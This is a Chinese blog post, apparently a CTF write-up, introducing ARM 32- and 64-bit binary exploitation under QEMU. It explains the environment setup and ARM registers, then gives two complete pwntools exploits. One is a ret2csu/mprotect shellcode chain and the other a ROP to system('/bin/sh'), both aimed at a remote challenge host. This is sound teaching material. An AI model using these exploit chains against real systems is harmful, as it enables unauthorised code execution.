arm b bl 地址无关码_32位和64位下的arm_pwn初探

32位和64位下的arm_pwn初探

前言:

pwn的学习之路一直在进行,今天看了arm_pwn,搞环境就搞了半天,琢磨工具使用到做题,这里总结下,希望能帮助到大家,少走一点弯路,后期有机会继续更新。

一、环境配置:

环境是一大玄学问题,这里仅仅是 我Ubuntu16.04下的环境配置,亲测有效,但是遇到玄学的问题时,也请留言,努力帮大家解决。

#安装qemuapt-get install qemu#更新一下sudo apt-get update#安装32位的依赖库sudo apt-get install -y gcc-arm-linux-gnueabi#运行32位的动态链接程序方法qemu-arm -L /usr/arm-linux-gnueabi ./文件#安装64位的依赖库sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu#运行64位的动态链接程序方法qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件#安装gdb调试工具sudo apt-get install git gdb gdb-multiarch#32位程序下断调试步骤qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg> target remote :1234pwndbg> b *0x8bb0#64位程序下断调试步骤qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./文件(窗口1)gdb-multiarch ./文件(窗口2)pwndbg> target remote :1234pwndbg> b *0x8bb0

二、arm汇编基础:

环境起来了,就可以像平时一样分析漏洞打题了,但是还是有不同的地方:

1、arm32只有16个32bit的通用寄存器,r0到r12,lr,pc,sp,函数调用时,前4个参数是压入寄存器的(r0、r1、r2、r3),后面的参数是压入栈中的

2、arm64有32个64bit长度的通用寄存器x0到x30以及sp,函数调用时,前8个参数都是通过寄存器来传递x0到x7

3、用一张图熟悉常见的arm汇编指令

78f91ca04f9fb77876800fafbd617366.png

4、举几个常见的汇编代码:

ldr r0,[r1, #4]     //将内存单元R1+4中的字读取到R0寄存器中,同时R1=R1+4add r1,r2,#1    //表示r1=r2+1, 即寄存器r1的值等于寄存器r2的值加上1b、bl          //相当于callBIC    R1,  R1,   #0x0F     //将R1   低4位清0mov r1,#4096      //r1 = 4096msr cpsr,r0       //复制r0到cpsr中str r1,[r2,#4]  //将r1的数据保存到地址为r2+4的内存单元中sub r1,r2,#1    //表示r1=r2-1

5、lr、sp、pc三大寄存器

       堆栈指针r13(SP):每一种异常模式都有其自己独立的r13,它通常指向异常模式所专用的堆栈,也就是说五种异常模式、非异常模式(用户模式和系统模式),都有各自独立的堆栈,用不同的堆栈指针来索引。这样当ARM进入异常模式的时候,程序就可以把一般通用寄存器压入堆栈,返回时再出栈,保证了各种模式下程序的状态的完整性。

       连接寄存器r14(LR):每种模式下r14都有自身版组,它有两个特殊功能。

   (1)保存子程序返回地址。使用BL或BLX时,跳转指令自动把返回地址放入r14中;子程序通过把r14复制到PC来实现返回,通常用下列指令之一:                        MOV PC, LR                        BX LR

   通常子程序这样写,保证了子程序中还可以调用子程序。                         stmfd sp!, {lr}                         ……                         ldmfd sp!, {pc}

   (2)当异常发生时,异常模式的r14用来保存异常返回地址,将r14如栈可以处理嵌套中断。

       程序计数器r15(PC):PC是有读写限制的。当没有超过读取限制的时候,读取的值是指令的地址加上8个字节,由于ARM指令总是以字对齐的,故bit[1:0]总是00。当用str或stm存储PC的时候,偏移量有可能是8或12等其它值。在V3及以下版本中,写入bit[1:0]的值将被忽略,而在V4及以上版本写入r15的bit[1:0]必须为00,否则后果不可预测。

如果通俗地理解就是lr=rax,sp=rsp,pc=rip

相对的,x30是存放ret地址

三、做题实战

1、64位下的arm程序

27e185528de689f4ed3148b3b64a07af.png

可以看到程序除了NX,什么也没有开,ida分析下逻辑:

d7e38e4747473821ea8c4783cf48bab0.png

先读0x200字节到bss段中,然后再栈溢出,漏洞点相当简单,既然有读到栈上我们就直接填shellcode然后改写下bss权限为7即可,但是这是在arm的环境下,所以实现起来,相对困难一点点

首先ida直接分析栈偏移是不行的,我们可以通过cyclic去计算出偏移(动态调试一下即可),可以算出偏移为72,

接着我们要栈溢出执行mprotect,这里三个参数都要满足比较辛苦,但是我们可以通过中级栈溢出的方式去得到:

text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j.text:00000000004008AC                 LDR             X3, [X21,X19,LSL#3] // x3=[x21+x19*8].text:00000000004008B0                 MOV             X2, X22 //x2=x22.text:00000000004008B4                 MOV             X1, X23 //x1=x23.text:00000000004008B8                 MOV             W0, W24 // w0=w24(低位).text:00000000004008BC                 ADD             X19, X19, #1 // x19=x19+1.text:00000000004008C0                 BLR             X3      // call x3.text:00000000004008C4                 CMP             X19, X20 ; .text:00000000004008C8                 B.NE            loc_4008AC // jmp if not equal.text:00000000004008CC.text:00000000004008CC loc_4008CC                              ; CODE XREF: sub_400868+3C↑j.text:00000000004008CC                 LDP             X19, X20, [SP,#var_s10] ;                                                        //x19=sp+0x10,x20=[sp+0x18].text:00000000004008D0                 LDP             X21, X22, [SP,#var_s20]                                                        //x21=sp+0x20,x22=[sp+0x28].text:00000000004008D4                 LDP             X23, X24, [SP,#var_s30]                                                        //x23=sp+0x30,x24=[sp+0x38].text:00000000004008D8                 LDP             X29, X30, [SP+var_s0],#0x40 ; Load Pair                                                       //x29=[sp], x30=[sp+8].text:00000000004008DC                 RET             //ret [x30]

根据前面学的arm的汇编基础,我们很容易将代码读懂,这里我做了注释,方便看清楚。

好了知道意思后,利用就和elf文件一样,我们控制好参数,写个集成函数即可,这里有个坑点,就是填got表是无法实现调用的,因为arm不太一样,这里我们需要伪造一个mprotect_plt的got表,实现调用,可以将mprotect_plt写到bss上就搞定了,执行完我们再ret我们的shellcode的位置既可,下面上exp:

from pwn import *bin_elf = './64arm'context.binary = bin_elfcontext.log_level = "debug"if sys.argv[1] == "r":    p = remote("106.75.126.171",33865)elif sys.argv[1] == "l":    p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/",bin_elf])else:    p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", bin_elf])elf = ELF(bin_elf)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def debug(addr,PIE=True):    if PIE:        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))    else:        gdb.attach(p,"b *{}".format(hex(addr)))def bk(addr):    gdb.attach(p,"b *"+str(hex(addr)))gadget1 = 0x00004008CCgadget2 = 0x00004008ACbss = 0x0000411068mprotect = 0x000400600ru("Name:")shellcode = asm(shellcraft.aarch64.sh())py = ''py += p64(mprotect)py += shellcodesl(py)def middle_stackoverlow(offset,x0,x1,x2,function_addr,ret_addr):    py = ''    py += 'a'*offset    py += p64(gadget1)    py += p64(0)    py += p64(gadget2)    py += p64(0)    py += p64(1)    py += p64(function_addr)    py += p64(x2)#x22=x2    py += p64(x1)#x23=x1    py += p64(x0)#24=x0    py += p64(0)    py += p64(ret_addr)    sl(py)middle_stackoverlow(72,0x411000,0x1000,0x7,bss,bss+8)p.interactive()
2、32位下的arm程序

81adfbc643b8c6f8dd9015e5e5e48021.png

一样保护几乎没开,ida分析一波:

da914abc8b5ccd26e07af5099bcb464d.png

ida静态分析,可能不是很好看,所以进行黑盒测试,直接运行看:

49928c059259ee247a88859a8fb4e606.png

可以知道先换行,然后再输入内容,会回显那个英文,还是个循环,没了。

所以关键就是第二次输入,没开canary,猜想是栈溢出的题目,直接cyclic动态调试可以计算偏移:112

同时程序有system和binsh的后门,根据rop,我们pop参数到r0即可实现调用:

from pwn import *bin_elf = './arm'context.binary = bin_elfcontext.log_level = "debug"if sys.argv[1] == "r":    p = remote("106.75.126.171",33865)elif sys.argv[1] == "l":    p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi",bin_elf])else:    p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", bin_elf])elf = ELF(bin_elf)sl = lambda s : p.sendline(s)sd = lambda s : p.send(s)rc = lambda n : p.recv(n)ru = lambda s : p.recvuntil(s)ti = lambda : p.interactive()def debug(addr,PIE=True):    if PIE:        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))    else:        gdb.attach(p,"b *{}".format(hex(addr)))def bk(addr):    gdb.attach(p,"b *"+str(hex(addr)))pop_r0_r4_ret = 0x00020904binsh = 0x006C384system_plt = 0x00110B4ru("if you want to quit")sl("")py = ''py += 'a'*112py += p32(pop_r0_r4_ret)py += p32(binsh)py += p32(0)py += p32(system_plt)ru("------Begin------")sl(py)p.interactive()

总结:

综上,其实还有种题目是leak出地址,然后再system去getshell,elf文件中很常见的ret2libc,但是呢,目前还没遇到,等遇到了再做更新~

参考链接:

https://xz.aliyun.com/t/3744

https://xz.aliyun.com/t/3154

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/552332.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何用unit test测试controller_如何用电缆故障测试仪冲闪测试确定故障点?

原标题:如何用电缆故障测试仪冲闪测试确定故障点?当我们中试控股在使用电缆故障测试仪检测电缆故障时,遇到故障点二次击穿放电时,其波形要如何分析?首先我们要知道仪器在遇到故障点二次击穿时的表现是怎样的。显示故障…

linux下qt环境的运行,在Linux下使用QT环境来安装和运行WebKit

Installing and Running WebKit in Linux Using QtI’mcoming to appreciate more and more all of the hard work softwaredevelopers perform. I wouldn’t consider myself an open source elitist,but there’s something special about the associated ideologies. When a…

button 样式_缩减 SCSS 50%样式代码的 14 条实战经验

原标题:缩减 SCSS 50%样式代码的 14 条实战经验作者:feishi123前言Sass是CSS3语言的扩展,它能帮你更省事地写出更好的样式表,使你摆脱重复劳动,使工作更有创造性。因为你能更快地拥抱变化,你也将敢于在设计…

神舟电脑装linux双系统,个人windows10和Ubuntu18.04游戏笔记本uefi双磁盘双系统安装过程...

此文章为记录自己的Ubuntu的安装和使用过程本人电脑是128G固态500G机械。固态中装的是windows10,这次决定在机械中安装Ubuntu。虽然网上教程很多,但是我仍然是在参考了多个教程后才动手安装,于是记录自己的安装过程。该机器是神舟Z6-sl7d1,系…

请解释自动装配模式的区别?_如何从齿条优化方面有效节约机床装配时间

齿条:螺纹连接的设计和计算是否正确?如果我们真的想要节约装配成本和时间的话,那么我们首先就需要去选择设计正确的齿条螺钉。那么这时候就紧接着产生了第二个问题:我们应该如何评估并优化这种设计。当我们去观察比较齿轮和齿条这…

仓库处理中 无法修改_临沂用友U8erp系统软件如何新增仓库?

存货一般是用仓库来保管的,对存货进行核算管理,首先应对仓库进行管理,因此进行仓库设置是供销链管理系统的重要基础准备工作之一。第一次使用本系统时,应先将本单位使用的仓库,预先输入到系统之中,即进行&q…

Dreamwear如何创建javascript_JavaScript 太糟糕,JVM 有妙招!

虽然 JavaScript 凭借其简洁性、交互性等优势横扫了各大编程语言榜单,但是一直以来,JavaScript 应用程序的工具链极其复杂,引发不少开发者吐槽,在此,我们是否有更好的解决方案将其替代?接下来,本…

linux mint 18.3浏览器,在Linux Mint 19/Ubuntu 18.04中安装Tor Browser浏览器的方法

本文介绍在Linux Mint 19/Ubuntu 18.04系统中安装Tor Browser浏览器的方法,本文不使用Tor的默认Ubuntu存储库,因为它们包含旧版本的Tor。一、添加Tor存储库要在Linux Mint 19/Ubuntu 18.04系统中安装最新版本的Tor,我们将使用官方Tor Apt存储…

code block怎样实现图形界面_微服务入门:Openresty实现API网关

概念介绍如果大家清楚“网关”这个概念,那就很容易理解“API网关“,即所有API的入口。 从面向对象设计的角度看,它与外观模式类似,封装了系统内部架构。在单体应用架构中,没有「 API网关 」的概念,每个项目…

vue lang_推荐一个基于Vue 的 H5 快速开发模板

关注 Vue社区,回复“加群”加入我们一起学习,天天进步praisejuejin.im/post/5e612534e51d4527017971a2模板基于 vue-cli4 和 Vant-ui 搭建,进行大型 H5 项目开发最佳实践方案,让我们来一探究竟模板地址 (github.com/push-over/vue…

springboot urlresource_Spring Boot上传文件+部署到Tomcat

1 概述Spring Boot上传文件,根据官方uploadfile示例修改的,可以打成war放到服务器上(笔者使用的是Tomcat).主要步骤是创建异常类,属性类,接口类与控制器类,最后进行少量修改打包部署到服务器上.2 环境win10Tomcat 9.0.30IDEA 2019.03Spring boot 2.2.2 RELEASE3 新建工程选择sp…

alc236黑苹果驱动_台式机黑苹果独显驱动

黑苹果安装离不开黑苹果驱动程序,常见的有网卡驱动、显卡驱动、声卡驱动、还有其他的一些常用的驱动程序,这里我们单独讲一下黑苹果上驱动英伟达GTX的独显驱动,即我们平常说的N卡,如果文章中介绍的有错误,或者您还有其…

c语言break在if中用法,break可用于什么语句 break语句可用于for语句和if语句中 对吗...

c语言中break语句的作用C语言中,break都可以用在什么地方?用到每一个语...break 一般是针对一个循环或者switch中的case,表示跳出当前的循环或选择,即在一个单层循环中,可以通过break 来跳出循环,在switch 中的case通过…

python简单实用案例_Python 21 Django 实用小案例1

8 9 10 {% csrf_token %}11 用户名:12 密码:13 验证码:14 15 16 17

c语言的一段程序,C语言第一个程序(入门)

1.文件类型(基本)c语言源文件 为.c 文件扩展名,例如 main.c 编译后将得到 a.out 文件 运行会得到 我们程序执行的结果2.hello world (第一个程序)#include --------------------> 引入标准库的信息main () { …

matlab table中的文字转string_MATLAB_GUI_教程(2)pushbutton

目录前言上期教程按钮介绍按钮(pushbutton)如何在窗口中创建一个按钮常用属性常用属性练习回调函数的编写规则设置回调函数:定义(编写)回调函数:NoteGUI中各个回调函数之间数据的传递setappdatagetappdata方法按钮的回调函数前言上期教程按钮介绍这个按钮…

python中类和对象_Python里的类和对象简介

---恢复内容开始--- Python里的类 对象属性方法; 对象的属性主要是指主要的特征和参量,而方法主要是指函数; 类是一个具有一定特征和方法的集合,而对象是类的一个;类和对象的关系就如同模具和用这个模具制作出的物品之…

r语言 fread函数参数_R语言 第4章 初级绘图(6)

分析数据间的关系散点矩阵图如果数据框是多维数据,那么plot函数将绘制出两两之间散点图组合成为散点矩阵图(matrix of scatterplots)。散点矩阵图将多个散点图组合起来,以便可以同时浏览多个二元变量关系,一定程度上克服了在平面上展示高维数…

android 渠道打包工具,Android渠道打包技术小结

导读本文对比了渠道4种渠道打包方式:与iOS的单一渠道(AppStore)不同,Android平台在国内的渠道多入牛毛。以我们的App为例,就有27个普通渠道(应用宝,百度,360这种)和更多的推广专用渠道。我们打包技术也经过了若干次的改进。1.利用…

机械臂中的四元素转为旋转矩阵_雅克比矩阵(上)雅克比推导

1、前言 回顾前面几期的内容,在第一期中介绍了机器人的正/逆运动学建模,正运动学解决的问题是如何从关节空间的关节变量描述操作空间的位姿,反之则是逆运动学的内容。将操作空间和关节的空间的关系用以下关系式进行表达。机器人正/逆运动…